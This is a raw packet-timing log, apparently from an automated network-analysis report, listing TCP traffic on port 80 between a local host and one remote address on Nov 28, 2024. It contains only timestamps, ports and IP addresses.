                                                                                                                                                                Nov 28, 2024 11:02:15.669152975 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.669188976 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.670233965 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.670362949 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.670396090 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.671813011 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.673077106 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.673113108 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.673394918 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.673918962 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.673953056 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.674998045 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.675726891 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.675764084 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.676568031 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.677076101 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.677108049 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.678291082 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.678448915 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.678483963 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.679802895 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.679919958 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.679953098 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.681340933 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.681943893 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.681982040 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.682966948 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.683901072 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.683937073 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.684540033 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.684870005 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.684904099 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.686120033 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.686615944 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.686650991 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.687689066 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.687916040 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.687952042 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.689352989 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.689467907 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.689598083 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.690869093 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.691504955 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.691538095 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.692446947 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.692953110 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.693001032 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.694169044 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.694705009 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.694741011 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.695624113 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.696052074 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.696094990 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.697217941 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.697407007 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.697444916 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.698837042 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.698913097 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.698947906 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.700407028 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.700903893 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.700939894 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.706079960 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.706298113 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.706342936 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.706831932 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.706907034 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.706945896 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.708435059 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.708657980 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.708801985 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.710067987 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.710774899 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.710812092 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.711590052 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.711889029 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.711924076 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.713105917 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.713927031 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.714062929 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.714628935 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.714643002 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.714677095 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.716029882 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.716315031 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.716358900 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.718880892 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.719295979 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.719336987 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.720108032 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.720321894 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.720360041 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.720828056 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.721827030 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.721863031 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.722223043 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.723530054 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.723548889 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.723562002 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.723566055 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.723589897 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.724864960 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.725020885 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.725054026 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.726222038 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.726664066 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.726702929 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.727544069 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.727806091 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.727863073 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.728832960 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.729152918 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.729187965 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.730228901 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.731338978 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.731376886 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.731458902 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.731470108 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.731503963 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.732676029 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.733191013 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.733226061 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.733932018 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.734324932 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.734360933 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.735173941 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.735222101 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.735255957 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.736407042 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.736560106 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.736593962 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.737643957 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.737904072 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.737941980 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.738948107 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.738997936 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.739032984 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.740122080 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.740458965 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.740494967 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.741242886 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.742059946 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.742098093 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.742393017 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.812026978 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.932202101 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.932252884 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.932324886 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.932444096 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.932626963 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.932693005 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.933264017 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.933376074 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.933427095 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.934091091 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.934182882 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.934257030 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.934957981 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.935087919 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.935138941 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.935786009 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.935903072 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.935954094 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.938536882 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.940655947 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.940680027 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.940721035 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.940886974 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.941132069 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.942996979 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945318937 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945333004 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945347071 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945362091 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945377111 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945382118 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945390940 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945404053 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945408106 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945421934 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945430994 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945436954 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945452929 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945467949 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945468903 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945482969 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945492983 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945497990 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945513010 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945527077 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945528030 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945545912 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945559025 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945560932 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945580006 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.945687056 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945719004 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.945733070 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.946532011 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.946588039 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.946630955 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.947448969 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.947504997 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.947510958 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.948174953 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.948237896 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.948273897 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.949047089 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.949095011 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.949103117 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.950006962 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.950068951 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.950126886 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.950839996 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.950885057 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.950907946 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.951507092 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.951564074 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.951564074 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.952408075 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.952461004 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.952574968 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.952913046 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.953279972 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.953428984 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.953480959 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.953974009 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.954063892 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.954113007 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.954793930 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.954909086 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.954958916 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.955638885 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.955769062 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.955820084 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.956481934 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.956629038 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.956671953 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.957279921 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.957372904 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.957427025 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.958132029 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.958149910 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.958214045 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.958959103 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.959083080 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.959131002 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.959795952 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.959872961 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.959914923 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.960583925 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.960700035 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.960746050 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.961404085 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.961504936 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.961549997 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.962232113 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.962379932 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.962424994 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.963077068 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.963195086 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.963242054 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.963892937 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.963992119 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.964041948 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.964728117 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.964819908 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.964859962 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.965540886 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.965660095 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.965706110 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.966541052 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.966779947 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.966825962 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.967212915 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.967343092 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.967384100 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.968041897 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.968113899 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.968156099 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.968841076 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.969002962 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.969052076 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.969686985 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.969948053 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.969988108 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.970561981 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.970638990 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.970685959 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.971349955 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.971529007 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.971585989 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.972145081 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.972369909 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.972426891 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.972990990 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.973213911 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.973253965 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.973829985 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.973947048 CET8049175172.232.175.166192.168.2.22
